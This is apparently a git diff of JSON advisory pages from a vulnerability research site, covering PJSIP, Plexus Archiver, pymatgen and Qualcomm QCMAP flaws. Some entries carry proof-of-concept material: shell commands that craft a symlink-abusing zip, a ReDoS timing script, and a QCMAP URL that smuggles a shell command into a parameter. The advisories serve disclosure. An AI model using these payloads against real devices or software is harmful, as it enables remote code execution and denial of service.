\nCVE-2021-43299 was found in pjsua_player_create (OO wrapper - AudioMediaPlayer::createPlayer) which creates a file player and automatically adds this player to the conference bridge.
Attackers that can remotely control the contents of the filename argument of pjsua_player_create may cause remote code execution.
This function contains a stack overflow vulnerability when filename->ptr is being copied to path without verifying that filename->slen (the filename size) is at most path’s allocated size which is PJ_MAXPATH (260). Therefore, passing a filename longer than 260 characters will cause a stack overflow.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43299 High severity. Stack overflow in PJSUA leads to remote code execution","date_published":"2022-03-01","xray_id":"XRAY-198024","vul_id":"CVE-2021-43299","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/index.json b/assets/data/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/index.json index 9e4b2aed6e..7af5bb94d2 100644 --- a/assets/data/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/index.json +++ b/assets/data/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"PJLIB pjsua_playlist_create RCE","path":"/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/","content":"Summary
\nStack overflow in PJLIB leads to remote code execution when invoking pjsua_playlist_create with malicious input
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43301 was found in pjsua_playlist_create (OO wrapper - AudioMediaPlayer::createPlaylist) which creates a file playlist media port and automatically adds the port to the conference bridge.
Attackers that can remotely control the contents of the file_names argument of pjsua_player_create may cause remote code execution.
This function contains a stack overflow vulnerability when the child function pjmedia_wav_playlist_create is called. This function copies each file name from file_list to filename without checking if its length is at most PJ_MAXPATH (260). If the file name length is longer - the copy will overflow the filename variable and trigger a stack overflow.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43301 High severity. Stack overflow in PJSUA leads to remote code execution","date_published":"2022-03-01","xray_id":"XRAY-198026","vul_id":"CVE-2021-43301","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"PJLIB pjsua_playlist_create RCE","path":"/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/","content":"Summary
\nStack overflow in PJLIB leads to remote code execution when invoking pjsua_playlist_create with malicious input
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43301 was found in pjsua_playlist_create (OO wrapper - AudioMediaPlayer::createPlaylist) which creates a file playlist media port and automatically adds the port to the conference bridge.
Attackers that can remotely control the contents of the file_names argument of pjsua_player_create may cause remote code execution.
This function contains a stack overflow vulnerability when the child function pjmedia_wav_playlist_create is called. This function copies each file name from file_list to filename without checking if its length is at most PJ_MAXPATH (260). If the file name length is longer - the copy will overflow the filename variable and trigger a stack overflow.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43301 High severity. Stack overflow in PJSUA leads to remote code execution","date_published":"2022-03-01","xray_id":"XRAY-198026","vul_id":"CVE-2021-43301","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/index.json b/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/index.json index 9f037aa8f8..e7da32aceb 100644 --- a/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/index.json +++ b/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"PJLIB pjsua_recorder_create OOB-R","path":"/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/","content":"Summary
\nRead out-of-bounds in PJLIB leads to denial of service when invoking pjsua_recorder_create with malicious input.
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43302 was found in pjsua_recorder_create (OO wrapper - AudioMediaRecorder::createRecorder) which creates a file recorder and automatically connects this recorder to the conference bridge.
Attackers that can remotely control the contents of the filename argument of pjsua_recorder_create may cause a denial of service.
This function contains a read out of bounds vulnerability since it does not check if the length of filename is at least 4. If filename is shorter than 4, pj_stricmp2 will cause a read out-of-bounds in a string comparison operation.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43302 Medium severity. Read out-of-bounds in PJSUA leads to denial of service","date_published":"2022-03-01","xray_id":"XRAY-198027","vul_id":"CVE-2021-43302","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"PJLIB pjsua_recorder_create OOB-R","path":"/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/","content":"Summary
\nRead out-of-bounds in PJLIB leads to denial of service when invoking pjsua_recorder_create with malicious input.
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43302 was found in pjsua_recorder_create (OO wrapper - AudioMediaRecorder::createRecorder) which creates a file recorder and automatically connects this recorder to the conference bridge.
Attackers that can remotely control the contents of the filename argument of pjsua_recorder_create may cause a denial of service.
This function contains a read out of bounds vulnerability since it does not check if the length of filename is at least 4. If filename is shorter than 4, pj_stricmp2 will cause a read out-of-bounds in a string comparison operation.
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43302 Medium severity. Read out-of-bounds in PJSUA leads to denial of service","date_published":"2022-03-01","xray_id":"XRAY-198027","vul_id":"CVE-2021-43302","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/index.json b/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/index.json index 0b50cd136f..050b460951 100644 --- a/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/index.json +++ b/assets/data/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"PJLIB pjsua_recorder_create RCE","path":"/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/","content":"Summary
\nStack overflow in PJLIB leads to remote code execution when invoking pjsua_recorder_create with malicious input
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43300 was found in pjsua_recorder_create (OO wrapper - AudioMediaRecorder::createRecorder) which creates a file recorder and automatically connects this recorder to the conference bridge.
Attackers that can remotely control the contents of the filename argument of pjsua_recorder_create may cause remote code execution.
This function contains a stack overflow vulnerability when filename->ptr is being copied via memcpy to the path stack variable without checking that filename->slen is at most the path allocated size which is PJ_MAXPATH (260).
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43300 High severity. Stack overflow in PJSUA leads to remote code execution","date_published":"2022-03-01","xray_id":"XRAY-198025","vul_id":"CVE-2021-43300","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"PJLIB pjsua_recorder_create RCE","path":"/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/","content":"Summary
\nStack overflow in PJLIB leads to remote code execution when invoking pjsua_recorder_create with malicious input
Component
\n\nAffected versions
\nPJLIB (, 2.1.11], fixed in 2.12
\nDescription
\nCVE-2021-43300 was found in pjsua_recorder_create (OO wrapper - AudioMediaRecorder::createRecorder) which creates a file recorder and automatically connects this recorder to the conference bridge.
Attackers that can remotely control the contents of the filename argument of pjsua_recorder_create may cause remote code execution.
This function contains a stack overflow vulnerability when filename->ptr is being copied via memcpy to the path stack variable without checking that filename->slen is at most the path allocated size which is PJ_MAXPATH (260).
PoC
\nNo PoC is supplied for this vulnerability.
\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading PJSIP to version 2.12.
\nReferences
\n(JFrog) 5 New Vulnerabilities Discovered in PJSIP Open Source Library
\n\n","description":"CVE-2021-43300 High severity. Stack overflow in PJSUA leads to remote code execution","date_published":"2022-03-01","xray_id":"XRAY-198025","vul_id":"CVE-2021-43300","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-01","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/index.json b/assets/data/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/index.json index 87aa3f0ef4..67a39f0c19 100644 --- a/assets/data/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/index.json +++ b/assets/data/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Plexus Archiver arbitrary file overwrite","path":"/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/","content":"Summary
\nUsing AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution
\nComponent
\norg.codehaus.plexus:plexus-archiver
\nAffected versions
\n(,4.8.0)
\nDescription
\nPlexis Archiver is a collection of Plexus components to create archives or extract archives to a directory with a unified Archiver/UnArchiver API. Prior to version 4.8.0, using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the resolveFile() function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later Files.newOutputStream(), that follows symlinks by default, will actually write the entry's content to the symlink's target. Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. Version 4.8.0 contains a patch for this issue.
PoC
\nCreating the \"malicious\" archive -
\n$ ln -s /tmp/target entry1\n$ echo -ne “content” > entry2\n$ zip --symlinks archive.zip entry1 entry2\n$ sed -i 's/entry2/entry1/' archive.zip\nVulnerable code snippet -
\npackage com.example;\n\nimport java.io.File;\nimport org.codehaus.plexus.archiver.zip.ZipUnArchiver;\n\npublic class App \n{\n public static void main( String[] args )\n {\n ZipUnArchiver unArchiver = new ZipUnArchiver(new File(\"archive.zip\"));\n unArchiver.setDestDirectory(new File(\"/tmp/extracted_files\"));\n unArchiver.extract(); \n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nhttps://github.com/codehaus-plexus/plexus-archiver/security/advisories/GHSA-wh3p-fphp-9h2m
\n","description":"CVE-2023-37460, High, Plexus Archiver arbitrary file overwrite","date_published":"2023-07-26","xray_id":"XRAY-526292","vul_id":"CVE-2023-37460","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2023-07-26","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Plexus Archiver arbitrary file overwrite","path":"/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/","content":"Summary
\nUsing AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution
\nComponent
\norg.codehaus.plexus:plexus-archiver
\nAffected versions
\n(,4.8.0)
\nDescription
\nPlexis Archiver is a collection of Plexus components to create archives or extract archives to a directory with a unified Archiver/UnArchiver API. Prior to version 4.8.0, using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the resolveFile() function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later Files.newOutputStream(), that follows symlinks by default, will actually write the entry's content to the symlink's target. Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. Version 4.8.0 contains a patch for this issue.
PoC
\nCreating the \"malicious\" archive -
\n$ ln -s /tmp/target entry1\n$ echo -ne “content” > entry2\n$ zip --symlinks archive.zip entry1 entry2\n$ sed -i 's/entry2/entry1/' archive.zip\nVulnerable code snippet -
\npackage com.example;\n\nimport java.io.File;\nimport org.codehaus.plexus.archiver.zip.ZipUnArchiver;\n\npublic class App \n{\n public static void main( String[] args )\n {\n ZipUnArchiver unArchiver = new ZipUnArchiver(new File(\"archive.zip\"));\n unArchiver.setDestDirectory(new File(\"/tmp/extracted_files\"));\n unArchiver.extract(); \n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nhttps://github.com/codehaus-plexus/plexus-archiver/security/advisories/GHSA-wh3p-fphp-9h2m
\n","description":"CVE-2023-37460, High, Plexus Archiver arbitrary file overwrite","date_published":"2023-07-26","xray_id":"XRAY-526292","vul_id":"CVE-2023-37460","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2023-07-26","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/pymatgen-redos-xray-257184/index.json b/assets/data/vulnerabilities/pymatgen-redos-xray-257184/index.json index 618c7bb362..90083a4dbf 100644 --- a/assets/data/vulnerabilities/pymatgen-redos-xray-257184/index.json +++ b/assets/data/vulnerabilities/pymatgen-redos-xray-257184/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"pymatgen ReDoS","path":"/vulnerabilities/pymatgen-redos-xray-257184/","content":"Summary
\nExponential ReDoS in pymatgen leads to denial of service
\nComponent
\n\nAffected versions
\npymatgen (,)
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the pymatgen PyPI package, when an attacker is able to supply arbitrary input to the GaussianInput.from_string method
PoC
\nimport time\nfrom pymatgen.io.gaussian import GaussianInput\n\ndef str_and_from_string(i):\n ans = \"\"\"#P HF/6-31G(d) SCF=Tight SP\n\nH4 C1\n\n0 1\n\"\"\"\n vulnerable_input = ans + 'C'+'0' * i + '!'+'\\n'\n GaussianInput.from_string(vulnerable_input)\n\nfor i in range(1000):\n start = time.time()\n str_and_from_string(i)\n print(f\"{i}: Done in {time.time() - start}\")\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-42964 Medium severity. Exponential ReDoS in pymatgen leads to denial of service","date_published":"2022-10-15","xray_id":"XRAY-257184","vul_id":"CVE-2022-42964","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-10-15","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"pymatgen ReDoS","path":"/vulnerabilities/pymatgen-redos-xray-257184/","content":"Summary
\nExponential ReDoS in pymatgen leads to denial of service
\nComponent
\n\nAffected versions
\npymatgen (,)
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the pymatgen PyPI package, when an attacker is able to supply arbitrary input to the GaussianInput.from_string method
PoC
\nimport time\nfrom pymatgen.io.gaussian import GaussianInput\n\ndef str_and_from_string(i):\n ans = \"\"\"#P HF/6-31G(d) SCF=Tight SP\n\nH4 C1\n\n0 1\n\"\"\"\n vulnerable_input = ans + 'C'+'0' * i + '!'+'\\n'\n GaussianInput.from_string(vulnerable_input)\n\nfor i in range(1000):\n start = time.time()\n str_and_from_string(i)\n print(f\"{i}: Done in {time.time() - start}\")\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-42964 Medium severity. Exponential ReDoS in pymatgen leads to denial of service","date_published":"2022-10-15","xray_id":"XRAY-257184","vul_id":"CVE-2022-42964","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-10-15","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/qcmap-cli-command-injection-xray-194065/index.json b/assets/data/vulnerabilities/qcmap-cli-command-injection-xray-194065/index.json index bbc949ca45..295935c372 100644 --- a/assets/data/vulnerabilities/qcmap-cli-command-injection-xray-194065/index.json +++ b/assets/data/vulnerabilities/qcmap-cli-command-injection-xray-194065/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"QCMAP CLI command injection","path":"/vulnerabilities/qcmap-cli-command-injection-xray-194065/","content":"Summary
\nInsufficient input validation in the QCMAP_CLI utility in the Qualcomm QCMAP software suite allows authenticated unprivileged local attackers to perform arbitrary code execution by sending crafted CLI commands.
\nComponent
\nQualcomm QCMAP (closed source)
\nAffected versions
\nQCMAP before October 2020
\nDescription
\nQualcomm manufactures the MDM (Mobile Data Modem) family of SoCs, which provides various mobile connectivity features in a single package. One of the software suites is the QCMAP suite, which is in charge of running many services in the mobile access point. Among others, QCMAP contains a Command Line Interface (CLI) utility called QCMAP_CLI. From within this CLI, the user can change different settings on the device; one of the possible options is to set the gateway URL. QCMAP is used in many kinds of networking devices, primarily mobile hotspots and LTE routers.
\nAttackers can trigger the exploit by sending a series of crafted CLI commands. A public exploit exists) and demonstrates the running of arbitrary code in the CLI shell. Attackers must be able to run CLI code on the device locally before they can exploit the vulnerability, and they can only achieve privilege escalation if QCMAP_CLI can be run via sudo or setuid.
The library implementation has a bug in the QCMAP_LAN::EnableGatewayUrl() function in the QCMAP_ConnectionManager binary. In this function, the code calls snprintf() to create a string which includes the URL, and then calls system() to create a new process. There is no validation on the user input to make sure that it doesn’t include malicious characters; thus it is possible to pass a string with shell metacharacters (such as ‘;’) and run arbitrary commands. This issue appears twice in some of the implementations of this function.
The original exploit was developed by JFrog researchers. There are two related CVEs for this component: CVE-2020-3657 and CVE-2020-25858.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerabilities Discovered in Qualcomm QCMAP enable remote root access
\n\n","description":"CVE-2020-25859 Medium severity. Insufficient input validation in the QCMAP_CLI utility in the Qualcomm QCMAP software suite allows authenticated unprivileged local attackers to perform arbitrary code execution by sending crafted CLI commands.","date_published":"2020-10-14","xray_id":"XRAY-194065","vul_id":"CVE-2020-25859","severity":"medium","discovered_by":"Ori Hollander","last_updated":"2020-10-14","cvss":6.7}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"QCMAP CLI command injection","path":"/vulnerabilities/qcmap-cli-command-injection-xray-194065/","content":"Summary
\nInsufficient input validation in the QCMAP_CLI utility in the Qualcomm QCMAP software suite allows authenticated unprivileged local attackers to perform arbitrary code execution by sending crafted CLI commands.
\nComponent
\nQualcomm QCMAP (closed source)
\nAffected versions
\nQCMAP before October 2020
\nDescription
\nQualcomm manufactures the MDM (Mobile Data Modem) family of SoCs, which provides various mobile connectivity features in a single package. One of the software suites is the QCMAP suite, which is in charge of running many services in the mobile access point. Among others, QCMAP contains a Command Line Interface (CLI) utility called QCMAP_CLI. From within this CLI, the user can change different settings on the device; one of the possible options is to set the gateway URL. QCMAP is used in many kinds of networking devices, primarily mobile hotspots and LTE routers.
\nAttackers can trigger the exploit by sending a series of crafted CLI commands. A public exploit exists) and demonstrates the running of arbitrary code in the CLI shell. Attackers must be able to run CLI code on the device locally before they can exploit the vulnerability, and they can only achieve privilege escalation if QCMAP_CLI can be run via sudo or setuid.
The library implementation has a bug in the QCMAP_LAN::EnableGatewayUrl() function in the QCMAP_ConnectionManager binary. In this function, the code calls snprintf() to create a string which includes the URL, and then calls system() to create a new process. There is no validation on the user input to make sure that it doesn’t include malicious characters; thus it is possible to pass a string with shell metacharacters (such as ‘;’) and run arbitrary commands. This issue appears twice in some of the implementations of this function.
The original exploit was developed by JFrog researchers. There are two related CVEs for this component: CVE-2020-3657 and CVE-2020-25858.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerabilities Discovered in Qualcomm QCMAP enable remote root access
\n\n","description":"CVE-2020-25859 Medium severity. Insufficient input validation in the QCMAP_CLI utility in the Qualcomm QCMAP software suite allows authenticated unprivileged local attackers to perform arbitrary code execution by sending crafted CLI commands.","date_published":"2020-10-14","xray_id":"XRAY-194065","vul_id":"CVE-2020-25859","severity":"medium","discovered_by":"Ori Hollander","last_updated":"2020-10-14","cvss":6.7}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/index.json b/assets/data/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/index.json index cb999dc98a..1f9693b0ca 100644 --- a/assets/data/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/index.json +++ b/assets/data/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"QCMAP Web Interface NULL pointer dereference","path":"/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/","content":"Summary
\nA null pointer dereference in the QCMAP_Web_CLIENT binary in the Qualcomm QCMAP software suite allows authenticated network attackers to cause denial of service by sending a request with a crafted URL.
\nComponent
\nQualcomm QCMAP (closed source)
\nAffected versions
\nQCMAP before October 2020
\nDescription
\nQualcomm manufactures the MDM (Mobile Data Modem) family of SoCs, which provides various mobile connectivity features in a single package. One of the software suites is the QCMAP suite, which is in charge of running many services in the mobile access point. These include a lighttpd-based web interface and a MiniDLNA-based media server. QCMAP is used in many kinds of networking devices, primarily mobile hotspots and LTE routers.
\nAttackers can trigger the exploit by issuing an HTTP request with a crafted URL. A public exploit exists, which demonstrates how to invoke the web interface with an unexpected URL parameter format (http://x.x.x.x/cgi-bin/qcmap_web_cgi?a) to cause denial of service and crash the interface.
The QCMAP_Web_CLIENT library implementation has a bug in the Tokenizer() function, which parses the input data and performs the chosen operation. The input parameters are expected to be in the format var1=val1&var2=val2& var3=val3.... The function invokes strstr() to search for a = character, and then uses its return value without checking (in several implementations, the call to strstr() is replaced by a call to strchr(), which behaves in the same way). If there is no = character, the search returns NULL, causing a NULL pointer dereference. This crashes the process.
The original exploit was developed by JFrog researchers. There are two related CVEs for this component: CVE-2020-3657 and CVE-2020-25859.
\nPoC
\nhttp://x.x.x.x/cgi-bin/qcmap_web_cgi?a
Vulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerabilities Discovered in Qualcomm QCMAP enable remote root access
\n\n","description":"CVE-2020-25858 High severity. A null pointer dereference in the QCMAP_Web_CLIENT binary in the Qualcomm QCMAP software suite allows authenticated network attackers to cause denial of service by sending a request with a crafted URL.","date_published":"2020-10-14","xray_id":"XRAY-194064","vul_id":"CVE-2020-25858","severity":"high","discovered_by":"Ori Hollander","last_updated":"2020-10-14","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"QCMAP Web Interface NULL pointer dereference","path":"/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/","content":"Summary
\nA null pointer dereference in the QCMAP_Web_CLIENT binary in the Qualcomm QCMAP software suite allows authenticated network attackers to cause denial of service by sending a request with a crafted URL.
\nComponent
\nQualcomm QCMAP (closed source)
\nAffected versions
\nQCMAP before October 2020
\nDescription
\nQualcomm manufactures the MDM (Mobile Data Modem) family of SoCs, which provides various mobile connectivity features in a single package. One of the software suites is the QCMAP suite, which is in charge of running many services in the mobile access point. These include a lighttpd-based web interface and a MiniDLNA-based media server. QCMAP is used in many kinds of networking devices, primarily mobile hotspots and LTE routers.
\nAttackers can trigger the exploit by issuing an HTTP request with a crafted URL. A public exploit exists, which demonstrates how to invoke the web interface with an unexpected URL parameter format (http://x.x.x.x/cgi-bin/qcmap_web_cgi?a) to cause denial of service and crash the interface.
The QCMAP_Web_CLIENT library implementation has a bug in the Tokenizer() function, which parses the input data and performs the chosen operation. The input parameters are expected to be in the format var1=val1&var2=val2& var3=val3.... The function invokes strstr() to search for a = character, and then uses its return value without checking (in several implementations, the call to strstr() is replaced by a call to strchr(), which behaves in the same way). If there is no = character, the search returns NULL, causing a NULL pointer dereference. This crashes the process.
The original exploit was developed by JFrog researchers. There are two related CVEs for this component: CVE-2020-3657 and CVE-2020-25859.
\nPoC
\nhttp://x.x.x.x/cgi-bin/qcmap_web_cgi?a
Vulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerabilities Discovered in Qualcomm QCMAP enable remote root access
\n\n","description":"CVE-2020-25858 High severity. A null pointer dereference in the QCMAP_Web_CLIENT binary in the Qualcomm QCMAP software suite allows authenticated network attackers to cause denial of service by sending a request with a crafted URL.","date_published":"2020-10-14","xray_id":"XRAY-194064","vul_id":"CVE-2020-25858","severity":"high","discovered_by":"Ori Hollander","last_updated":"2020-10-14","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/qcmap-web-interface-rce-xray-194063/index.json b/assets/data/vulnerabilities/qcmap-web-interface-rce-xray-194063/index.json index 95a6150fa5..8e18d3b419 100644 --- a/assets/data/vulnerabilities/qcmap-web-interface-rce-xray-194063/index.json +++ b/assets/data/vulnerabilities/qcmap-web-interface-rce-xray-194063/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"QCMAP Web Interface RCE","path":"/vulnerabilities/qcmap-web-interface-rce-xray-194063/","content":"Summary
\nCommand injection and stack overflow in the Qualcomm QCMAP Web Interface leads to remote code execution
\nComponent
\nQualcomm QCMAP (closed source)
\nAffected versions
\nQCMAP before October 2020
\nDescription
\nRemote code execution can happen by sending a carefully crafted POST query when Device configuration is accessed from a tethered client through webserver due to lack of array bound check.
\nThe issue resides in the QCMAP_ConnectionManager binary.
Part of the basic functionality of the media server is to allow the user to set media directories to publish from. This can be done, for example, via the web interface.
\nAt the implementation level, the CGI handler at cgi-bin/qcmap_web_cgi passes data from the web form to the QCMAP_Web_CLIENT binary which parses the request. The sent data is expected to be in the format var1=val1&var2=val2& var3=val3…. The first variable is expected to be the page variable. If it is set to SetMediaDir the code parses the next variables to set the DLNA media directory. It then sends the variables to the QCMAP_ConnectionManager binary, which takes care of the request in the function qmi_qcmap_msgr_set_dlna_media_dir and passes it to QCMAP_MediaService::SetDLNAMediaDir. In this function, the code splits the sent directory by the , character, and for each portion, it calls snprintf to create a command, which is then sent as an argument to the system function. There is no check on the user input to make sure that it doesn’t include malicious characters, thus it is possible to pass a string with shell metacharacters (such as ;) and run arbitrary commands.
PoC
\nhttp://x.x.x.x/cgi-bin/qcmap_web_cgi?page=SetMediaDir&dir=fakedir;sleep%2010
Vulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerabilities Discovered in Qualcomm QCMAP enable remote root access
\n\n","description":"CVE-2020-3657 Critical severity. Command injection and stack overflow in the Qualcomm QCMAP Web Interface leads to remote code execution","date_published":"2020-10-14","xray_id":"XRAY-194063","vul_id":"CVE-2020-3657","severity":"critical","discovered_by":"Ori Hollander","last_updated":"2020-10-14","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"QCMAP Web Interface RCE","path":"/vulnerabilities/qcmap-web-interface-rce-xray-194063/","content":"Summary
\nCommand injection and stack overflow in the Qualcomm QCMAP Web Interface leads to remote code execution
\nComponent
\nQualcomm QCMAP (closed source)
\nAffected versions
\nQCMAP before October 2020
\nDescription
\nRemote code execution can happen by sending a carefully crafted POST query when Device configuration is accessed from a tethered client through webserver due to lack of array bound check.
\nThe issue resides in the QCMAP_ConnectionManager binary.
